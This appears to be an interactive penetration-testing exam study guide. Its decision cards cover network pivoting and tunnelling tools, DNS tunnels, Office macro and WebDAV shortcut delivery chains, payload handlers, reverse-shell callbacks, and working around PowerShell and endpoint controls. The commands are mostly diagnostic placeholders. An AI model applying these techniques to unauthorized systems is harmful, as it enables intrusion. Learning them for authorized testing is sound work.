Route a selected internal subnet through Ligolo-ng — Several protocols/subnets require a route-style interface through an agent
Requires: Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet

Route a selected subnet through sshuttleNot inspectedMultiple internal TCP destinations need transparent application access over SSH

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

ssh -v USER@PIVOT
python3 --version
ip route

Read the result

An SSH carrier and compatible endpoints make a transparent selected-subnet route a candidate; local Python output alone does not prove the remote runtime.

Still check: Verify local route/firewall permissions, remote runtime, supported transport/mode and explicitly selected subnet/DNS behavior.

Illustrative output
SSH path: accepted
Local routing/firewall context: inspect
Remote Python support: inspect in SSH context
Validate prerequisites and compare methods

Working SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnets

ssh -v USER@PIVOT
python3 --version
Open numbered procedure and alternatives →

What did you find?

Enabled: The selected application traffic works through the compatible mode: choose sshuttle.

Ruled out here: Required local permission or remote support is unavailable: reject this route implementation.

Unresolved: TCP success does not establish unsupported UDP/raw behavior; test the actual requirement.

Show connections

These are conditional possibilities. Check the named condition before moving.

Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Provide SOCKS access through SSH dynamic forwarding — Several internal TCP services need access through one SSH server
Requires: SSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitly

Forward from Windows with OpenSSH, Plink or NetshNot inspectedThe pivot is Windows and available networking utilities constrain the route

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

Get-Command ssh,plink,netsh -ErrorAction SilentlyContinue
Get-Service iphlpsvc
Test-NetConnection TARGET -Port PORT

Read the result

Windows has a carrier/destination candidate; Netsh administrative state and user-space SSH requirements differ.

Still check: Choose the supported tool, verify listener/bind/firewall and correct connection direction; check its exact rights.

Illustrative output
ssh: available
iphlpsvc: Running
Destination TcpTestSucceeded: True
Administrative portproxy right: not yet known
Validate prerequisites and compare methods

Compatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination paths

Get-Command ssh,plink,netsh -ErrorAction SilentlyContinue
Get-Service iphlpsvc
Test-NetConnection TARGET -Port PORT
Open numbered procedure and alternatives →

What did you find?

Enabled: The selected implementation carries the application and cleanup state is known: use it.

Ruled out here: No admin rights for portproxy rules out that Netsh route, not a valid user-space SSH option.

Unresolved: A running IP Helper service alone does not establish permission or a working forward.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

Build the callback and delivery routes separately from the attack route — A pivoted exploit reaches its target but its shell/download cannot return
Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

Use a reverse Chisel SOCKS or fixed TCP tunnelNot inspectedA pivot can make outbound HTTP/WebSocket connections to the tunnel server

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

chisel --version
chisel server --help
chisel client --help

Read the result

The outbound carrier and server-side listener requirement identify a reverse-tunnel topology.

Still check: Verify server reverse mode, fingerprint, carrier upgrade, listener bind and pivot-to-destination compatibility.

Illustrative output
Compatible peers: inspect versions
Direction: pivot client -> assessment server
Required remote: R: fixed destination or R:socks
Validate prerequisites and compare methods

Compatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access

chisel --version
chisel server --help
chisel client --help
Open numbered procedure and alternatives →

What did you find?

Enabled: The carrier and intended service handshake succeed: choose the matching reverse remote.

Ruled out here: The carrier/upgrade is blocked with no permitted route: reject this tunnel path.

Unresolved: A connected carrier without application response leaves listener/exit/client behavior unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Use ProxyChains, native SOCKS clients and SSH jump paths appropriately — A SOCKS listener or an SSH jump host is already available
Requires: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Use forward Chisel SOCKS and version-supported UDP routingNot inspectedThe assessment-side client can reach a pivot-side tunnel server

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

chisel --version
chisel client --help

Read the result

Forward placement and actual client transport determine the mode; a UDP-capable tunnel binary does not make every wrapper UDP-capable.

Still check: Verify compatible peers, server SOCKS setting, listener route and the real application's UDP/TCP support.

Illustrative output
Tool-side client -> pivot server: possible
Needed transport: TCP, or explicitly supported UDP-aware mode
Ordinary ProxyChains: TCP-only
Validate prerequisites and compare methods

Compatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when required

chisel --version
chisel client --help
Open numbered procedure and alternatives →

What did you find?

Enabled: The intended application's required transport works end to end: use that configured mode.

Ruled out here: A TCP-only wrapper is used for a UDP-only operation: reject that combination.

Unresolved: TCP success without UDP-aware client/firewall evidence leaves UDP unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Route a selected internal subnet through Ligolo-ng — Several protocols/subnets require a route-style interface through an agent
Requires: Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet

Use ProxyChains, native SOCKS clients and SSH jump paths appropriately — A SOCKS listener or an SSH jump host is already available
Requires: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution

Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Route a selected internal subnet through Ligolo-ngNot inspectedSeveral protocols/subnets require a route-style interface through an agent

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

ip route
ip link
./proxy -h

Read the result

A selected internal network and proxy-incompatible client suggest a route-style agent, subject to its own transport behavior.

Still check: Verify compatible proxy/agent, local privileges, carrier, selected route/interface, DNS and any separate reverse listener.

Illustrative output
Existing routes: SELECTED_SUBNET absent
Required client: unsuitable for current SOCKS path
Local interface/route permissions: inspect
Validate prerequisites and compare methods

Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet

ip route
ip link
./proxy -h
Open numbered procedure and alternatives →

What did you find?

Enabled: The routed application test works on the selected subnet: choose the agent route.

Ruled out here: A conflicting/unmodifiable route prevents this design: reject it or select an approved alternate subnet mapping.

Unresolved: Agent connection alone does not prove interface, route or destination reachability.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Build the callback and delivery routes separately from the attack route — A pivoted exploit reaches its target but its shell/download cannot return
Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

Preserve DNS, Kerberos names and time across a pivotNot inspectedAn IP connection works while hostname/Kerberos access fails

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

getent hosts TARGET_HOST
klist
date -u

Read the result

The route and credential may be valid while name/SPN context is wrong.

Still check: Check intended DNS source/result, realm/service name, time and KDC/service routes separately.

Illustrative output
TARGET_HOST resolves to WRONG_ADDRESS
Ticket server: cifs/TARGET_HOST@REALM
Direct IP transport: works
Validate prerequisites and compare methods

Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

getent hosts TARGET_HOST
klist
date -u
Open numbered procedure and alternatives →

What did you find?

Enabled: Correct naming/time and routes produce accepted service authentication: use that identity-preserving path.

Ruled out here: The ticket names another service/host: reject it for this operation.

Unresolved: Successful IP transport without named service evidence does not settle Kerberos.

Show connections

These are conditional possibilities. Check the named condition before moving.

Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

Conditional: tunnel through controlled DNS infrastructure — DNS is an available carrier while simpler permitted routes are unavailable
Requires: Controlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution

Build the callback and delivery routes separately from the attack routeNot inspectedA pivoted exploit reaches its target but its shell/download cannot return

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

ss -lnt
ip route get TARGET

Read the result

A working initiating proxy path does not route a target's new connection back to that private interface.

Still check: Check the target's route, listener bind, chosen reverse forward/agent listener and final handler.

Illustrative output
Tool -> proxy -> target: works
Advertised LHOST: assessment-only interface
Target -> advertised LHOST: no established route
Validate prerequisites and compare methods

Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

ss -lnt
ip route get TARGET
Open numbered procedure and alternatives →

What did you find?

Enabled: The target-initiated leg reaches the intended receiver and effect is verified: use the return route.

Ruled out here: The target cannot reach the advertised address and no selected forward provides it: reject that callback address/design.

Unresolved: No packets without execution proof leaves trigger and route separately unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Compose multiple pivots and validate every connection legNot inspectedA second internal network is reachable only from a later foothold

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

hostname
ip route
ss -lnt

Read the result

The break lies beyond a known working leg; a connected second carrier is not a complete final route.

Still check: Test each listener-to-destination leg, names and return traffic independently from the correct source.

Illustrative output
Hop 1 service test: works
Hop 2 carrier: connected
Final application: times out
Validate prerequisites and compare methods

A working first route, explicit second carrier/listener directions and correct per-hop DNS/return paths

ip route
ss -lnt
Open numbered procedure and alternatives →

What did you find?

Enabled: Every required application leg is verified: use the composed route.

Ruled out here: One required hop cannot reach the destination under the selected topology: reject that composition.

Unresolved: A final timeout without per-leg tests cannot identify which hop failed.

Show connections

These are conditional possibilities. Check the named condition before moving.

Discover pivot interfaces, routes and internal service context — A foothold exposes an interface/subnet or a loopback-only service
Requires: A usable pivot process/identity and explicit scope; both forward and return directions must be understood

Build the callback and delivery routes separately from the attack route — A pivoted exploit reaches its target but its shell/download cannot return
Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Conditional: tunnel through controlled DNS infrastructureNot inspectedDNS is an available carrier while simpler permitted routes are unavailable

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

dig DOMAIN NS

Read the result

Delegation is an infrastructure prerequisite; an NS record alone does not prove ownership or an operational tunnel.

Still check: Confirm authorized control, resolver path, compatible client/server/runtime and supported intended operation.

Illustrative output
Delegated zone: CONTROLLED_DOMAIN
Authoritative server: CONTROLLED_NS
Resolver path from pivot: not yet verified
Validate prerequisites and compare methods

Controlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution

dig DOMAIN NS
Open numbered procedure and alternatives →

What did you find?

Enabled: The controlled carrier and required application operation work: use this constrained fallback.

Ruled out here: No approved domain/control or required DNS path exists: reject this design.

Unresolved: An isolated DNS callback does not establish a stable tunnel or full route.

Show connections

These are conditional possibilities. Check the named condition before moving.

Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

Discover pivot interfaces, routes and internal service context — A foothold exposes an interface/subnet or a loopback-only service
Requires: A usable pivot process/identity and explicit scope; both forward and return directions must be understood

Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities

Resolve payload execution obstacles

Use a gated Office macro delivery chainNot inspectedAn assigned client-side scenario includes Office and a document-open interaction

Starting access: A recorded delivery/execution chain with the expected consumer and effect

Discover the clue

Get-Item .\FILE -Stream *
Get-Content .\FILE -Stream Zone.Identifier -ErrorAction SilentlyContinue

Read the result

Internet-origin metadata and absent macro execution localize an earlier gate than network connectivity.

Still check: Check compatible Office, actual macro/user trigger and applicable policy; a delivered/opened document is not execution.

Illustrative output
Zone.Identifier present
ZoneId=3
Office interaction: document opens; macro execution not observed
Validate prerequisites and compare methods

Compatible installed Office/macro support, a real required user interaction, executable document state and allowed macro/security policy

Get-Item .\FILE -Stream *
Get-Content .\FILE -Stream Zone.Identifier -ErrorAction SilentlyContinue
Open numbered procedure and alternatives →

What did you find?

Enabled: The permitted interaction triggers the expected bounded command effect: choose the supported delivery chain.

Ruled out here: Office/policy blocks the required macro path: reject this chain under those conditions.

Unresolved: A missing callback with no trigger evidence leaves execution unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

Use Windows authenticated access or a PowerShell command channel — Windows execution or valid credentials with an available remote service
Requires: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route

Use a Windows Library/WebDAV/shortcut chain with explicit interactionNot inspectedA client-side scenario permits a Library file and remote share presentation

Starting access: A recorded delivery/execution chain with the expected consumer and effect

Discover the clue

Get-Content .\FILE.library-ms
Test-NetConnection LHOST -Port PORT

Read the result

The resource can be presented while the executable user interaction is still absent.

Still check: Verify compatible WebDAV/Library handling, actual shortcut target/launch, policy and its command effect.

Illustrative output
Library resource: http://LHOST:PORT/
Remote folder request: observed
Shortcut launch: not observed
Validate prerequisites and compare methods

Compatible Windows consumer, reachable WebDAV resource, correctly handled shortcut and required user launch; policy permits the action

Test-NetConnection LHOST -Port PORT
Get-Item .\FILE -Stream *
Open numbered procedure and alternatives →

What did you find?

Enabled: The intended launch and resulting user-context command are observed: use the supported chain.

Ruled out here: The client cannot consume the resource or never performs the required allowed launch: reject that interaction path.

Unresolved: A WebDAV GET alone leaves code execution unproved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

Match an artifact to its executable consumer and runtimeNot inspectedA downloaded/generated artifact exists but does not run

Starting access: A recorded delivery/execution chain with the expected consumer and effect

Discover the clue

file FILE
sha256sum FILE
readelf -l FILE 2>/dev/null
uname -m

Read the result

An existing file can fail because its loader/runtime is missing; this is separate from callback failure.

Still check: Verify exact architecture, loader/runtime, permissions, mount policy, line endings and integrity.

Illustrative output
FILE: ELF 32-bit
Requested interpreter: /PATH/TO/LOADER
Execution error: No such file or directory
Validate prerequisites and compare methods

Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

file FILE
sha256sum FILE
readelf -l FILE 2>/dev/null
uname -m
Open numbered procedure and alternatives →

What did you find?

Enabled: The matching consumer loads intact bytes and the minimal effect works: choose that artifact.

Ruled out here: A PE/ELF/DLL or architecture mismatch is incompatible with the intended consumer: reject that artifact.

Unresolved: A file-exists check without loader/hash evidence leaves the failure layer unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Generate a payload matching OS, process, format and handler — An existing exploit/delivery primitive needs a binary or raw payload
Requires: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Use a gated Office macro delivery chain — An assigned client-side scenario includes Office and a document-open interaction
Requires: Compatible installed Office/macro support, a real required user interaction, executable document state and allowed macro/security policy

Use a Windows Library/WebDAV/shortcut chain with explicit interaction — A client-side scenario permits a Library file and remote share presentation
Requires: Compatible Windows consumer, reachable WebDAV resource, correctly handled shortcut and required user launch; policy permits the action

Repair quoting, encoding and command-length boundariesNot inspectedA simple command works while a longer or nested payload fails

Starting access: A recorded delivery/execution chain with the expected consumer and effect

Discover the clue

curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH

Read the result

The break follows a shell-language/representation change, so network or exploit applicability need not have changed.

Still check: Confirm outer decoding, actual inner shell, length and correct byte/string encoding with a small test.

Illustrative output
Simple id command: expected output
Added Bash redirection through sh: syntax error
Validate prerequisites and compare methods

Known outer request/template/database parser and inner shell; correct character encoding and transport length

$command = 'whoami'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
Open numbered procedure and alternatives →

What did you find?

Enabled: The exact command survives every parser and its bounded effect is verified: use that representation.

Ruled out here: The selected shell does not implement the payload syntax: reject that unwrapped expression.

Unresolved: A generic server error without received/executed-command evidence needs a smaller discriminating test.

Show connections

These are conditional possibilities. Check the named condition before moving.

Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Use Windows authenticated access or a PowerShell command channel — Windows execution or valid credentials with an available remote service
Requires: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route

Distinguish PowerShell policy, language mode and protected execution layersNot inspectedPowerShell reports scripts disabled, constrained syntax or an execution-control error

Starting access: A recorded delivery/execution chain with the expected consumer and effect

Discover the clue

Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode
$PSVersionTable

Read the result

A script policy gate is distinct from language-mode restrictions or an antimalware verdict.

Still check: Identify the actual controlling policy and permitted execution path; encoding/policy arguments do not remove unrelated controls.

Illustrative output
Error: script execution is disabled
LanguageMode: FullLanguage
Effective policy scope: inspect
Validate prerequisites and compare methods

Actual host policy/language context and a supported allowed execution route; required runtime features remain available

Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode
$PSVersionTable
Open numbered procedure and alternatives →

What did you find?

Enabled: The supported allowed operation executes in the verified context: choose it.

Ruled out here: The required feature is unavailable under the effective enforced policy/language context: reject that implementation.

Unresolved: Unknown policy precedence or no detailed error leaves the exact layer unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Interpret endpoint-control evidence and select a justified alternative — An artifact disappears, a process is blocked, or execution is stopped with a policy/security event
Requires: Observable evidence at the relevant boundary and a compatible alternative whose own prerequisites hold

Use Windows authenticated access or a PowerShell command channel — Windows execution or valid credentials with an available remote service
Requires: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Interpret endpoint-control evidence and select a justified alternativeNot inspectedAn artifact disappears, a process is blocked, or execution is stopped with a policy/security event

Starting access: A recorded delivery/execution chain with the expected consumer and effect

Discover the clue

Test-Path .\FILE
Get-FileHash .\FILE -Algorithm SHA256 -ErrorAction SilentlyContinue

Read the result

A disappearing artifact narrows the boundary but does not identify a particular control without corroboration.

Still check: Correlate file/process/event identity, time and exact action before selecting an alternative consumer.

Illustrative output
After transfer: file present with expected hash
Before launch: file absent
Matching security event: inspect
Validate prerequisites and compare methods

Observable evidence at the relevant boundary and a compatible alternative whose own prerequisites hold

Test-Path .\FILE
Get-FileHash .\FILE -Algorithm SHA256 -ErrorAction SilentlyContinue
Open numbered procedure and alternatives →

What did you find?

Enabled: Specific control evidence identifies the block and another permitted compatible method exists: select that alternative.

Ruled out here: The file is intact and the actual error is wrong architecture: reject the detection hypothesis.

Unresolved: No event visibility leaves the cause possible/inconclusive; do not invent an AMSI/AV diagnosis.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Repair a web PoC using the real HTTP transaction — An exploit sends requests but authentication, routing or parsing differs from the target
Requires: A valid baseline transaction with correct host, base path, session/CSRF state and request encoding

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Pair staged payloads with the correct handler and session lifecycleNot inspectedA payload connects without a session, or a handler/session exits unexpectedly

Starting access: A recorded delivery/execution chain with the expected consumer and effect

Discover the clue

show options
jobs
sessions

Read the result

The first-stage protocol may be reaching a receiver that cannot provide the remaining stage.

Still check: Verify exact payload/architecture/transport pair, listener bind, stage route and lifecycle.

Illustrative output
Artifact payload: staged PAYLOAD_NAME
Listener: raw Netcat
Sessions: none
Validate prerequisites and compare methods

Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration

show options
jobs
sessions
Open numbered procedure and alternatives →

What did you find?

Enabled: A matching supported handler completes the intended session and identity is checked: use it.

Ruled out here: The handler is configured for another payload family: reject that pairing.

Unresolved: A connection without stage/command evidence leaves a usable session unproved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

Generate a payload matching OS, process, format and handler — An existing exploit/delivery primitive needs a binary or raw payload
Requires: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

Use a framework module with explicit target and feature constraintsNot inspectedA reviewed module fits a verified exploit prerequisite set

Starting access: A recorded delivery/execution chain with the expected consumer and effect

Discover the clue

info
show options
show targets
show payloads

Read the result

The module describes conditions to investigate; its existence is not a vulnerability result.

Still check: Verify exact target/configuration, access, payload/route and current feature restrictions before selecting it.

Illustrative output
Module target: BUILD_AND_PLATFORM
Required option: authenticated ROLE
Observed target: role/feature not yet verified
Validate prerequisites and compare methods

Correct module/target/options, accepted payload/delivery route and the applicable current exam feature/target restrictions

info
show options
show targets
show payloads
Open numbered procedure and alternatives →

What did you find?

Enabled: The module conditions and intended effect are independently established: use it within the permitted context.

Ruled out here: The required feature/target is absent: reject this module candidate.

Unresolved: A banner match without role/configuration evidence is inconclusive; do not use a check to replace prerequisite reasoning.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Pair staged payloads with the correct handler and session lifecycle — A payload connects without a session, or a handler/session exits unexpectedly
Requires: Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration

Build the callback and delivery routes separately from the attack route — A pivoted exploit reaches its target but its shell/download cannot return
Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

Diagnose connection direction, listener and session failures in orderNot inspectedCommand execution or payload delivery exists but the expected usable channel does not

Starting access: A recorded delivery/execution chain with the expected consumer and effect

Discover the clue

ss -lnt
ip route get TARGET
sudo tcpdump -ni INTERFACE tcp port PORT

Read the result

The channel failed before an observed connection; investigate trigger/advertised route/egress before terminal repair.

Still check: Name the process initiating the connection and its actual destination address/port. Check the listener bind and each route/pivot leg; if delivery works but no callback arrives, repair the return path before changing payload bytes.

Illustrative output
Execution proof: confirmed
Listener: bound on EXPECTED_PORT
Packet observation: no target SYN
Validate prerequisites and compare methods

A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

ss -lnt
ip route get TARGET
sudo tcpdump -ni INTERFACE tcp port PORT
Open numbered procedure and alternatives →

What did you find?

Enabled: The correct packet/session path works and identity is verified: use the resulting channel.

Ruled out here: The advertised address is unreachable and not forwarded: reject that callback topology.

Unresolved: No packets without prior execution proof cannot distinguish a failed trigger from network failure.

Show connections

These are conditional possibilities. Check the named condition before moving.

Build the callback and delivery routes separately from the attack route — A pivoted exploit reaches its target but its shell/download cannot return
Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

Pair staged payloads with the correct handler and session lifecycle — A payload connects without a session, or a handler/session exits unexpectedly
Requires: Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration

Repair a limited Linux terminal — A working shell lacks job control, terminal signals or interactive program support
Requires: A working channel and available PTY mechanism; correct local-terminal control sequence

Complete attacks and retain reproducible evidence

Maintain state and select the next evidence-producing testNot inspectedSeveral hosts, identities, routes or competing hypotheses need coordination

Starting access: An assigned objective, scope and accumulated host/identity/route evidence

Discover the clue

For each candidate record:
HOST | IDENTITY | ROUTE | OBSERVED CAPABILITY | MISSING CONDITION | NEXT DISCRIMINATING TEST

Read the result

The ledger distinguishes an unvalidated hypothesis from an enabled candidate and a missing coverage question.

Still check: Verify the next test resolves a stated uncertainty and its expected outcomes change the decision.

Illustrative output
Candidate A: writable object; consumer unknown
Candidate B: permitted operation; trigger verified
Coverage gap: unexamined service
Validate prerequisites and compare methods

Explicit scope/objective and a record of observations, unknowns and available capabilities

HOST | IDENTITY | CREDENTIAL TYPE | ROUTE | OBSERVATION | HYPOTHESIS | MISSING PREREQUISITE | NEXT TEST
Open numbered procedure and alternatives →

What did you find?

Enabled: A candidate has the necessary evidence and a discriminating test: prioritize it by gain/cost/impact.

Ruled out here: The action repeats an unchanged disproven context: reject it as the next test.

Unresolved: Missing source/identity/route records require state reconstruction first.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate uncertain results and rebuild the service queue — Scanners disagree, a result is ambiguous, or a new identity changes accessible behavior
Requires: A selected endpoint and a test that can resolve the decision-changing uncertainty

Collect focused BloodHound data and validate an attack path — Directory relationships are too broad for manual comparison or a candidate chain needs ranking
Requires: Compatible collector/deployment, explicit scope, directory rights and separate permission/connectivity for host/session collection

Recover from dead ends without repeating disproven paths — Repeated attempts add no new evidence or several layers have been changed at once
Requires: A saved last-known-working state, recorded errors and a bounded next uncertainty

Integrate a standalone or assumed-breach AD attack — Individual techniques are understood but the full path must be selected independently
Requires: An assigned objective and current host/identity/route map; each next method's enabling conditions must be produced or discovered

Integrate a standalone or assumed-breach AD attackNot inspectedIndividual techniques are understood but the full path must be selected independently

Starting access: An assigned objective, scope and accumulated host/identity/route evidence

Discover the clue

CURRENT RESULT -> CANDIDATE NEXT METHOD -> REQUIRED INPUT -> MISSING PROOF

Read the result

A file read does not itself create a shell; the chain needs an actual credential/identity transition.

Still check: Verify every produced material type, account, route and service-specific right before connecting the next step.

Illustrative output
Result: file read
Proposed next step: SSH
Missing input: usable key/password and matched user
Validate prerequisites and compare methods

An assigned objective and current host/identity/route map; each next method's enabling conditions must be produced or discovered

OBSERVATION -> ENABLED METHOD -> VERIFIED CAPABILITY -> NEW STATE -> RE-ENUMERATION
Open numbered procedure and alternatives →

What did you find?

Enabled: Each receiving method's prerequisites are supplied by verified state: follow the connected chain.

Ruled out here: The proposed next method requires a capability not produced or available: reject that handoff.

Unresolved: An inferred secret or stale account association keeps the chain provisional.

Show connections

These are conditional possibilities. Check the named condition before moving.

Read files through directory traversal — A download/path parameter or URL segment influences a local filename
Requires: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

Capture state-transition, proof and exploit-adaptation evidence — Access, privilege, identity or route changes, or a report will need reproduction
Requires: Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance

Recover from dead ends without repeating disproven pathsNot inspectedRepeated attempts add no new evidence or several layers have been changed at once

Starting access: An assigned objective, scope and accumulated host/identity/route evidence

Discover the clue

LAST VERIFIED STATE | FIRST NEW FAILURE | EXACT ERROR | CHANGED CONDITION | NEXT CONTROL

Read the result

Repeated payload changes are not testing the first missing transfer/route condition.

Still check: Reproduce the last proof and isolate one new condition at a time; preserve rejected paths and return conditions.

Illustrative output
Last working: target command identity proof
New failure: artifact download has no server request
Recent changes: several payload variants
Validate prerequisites and compare methods

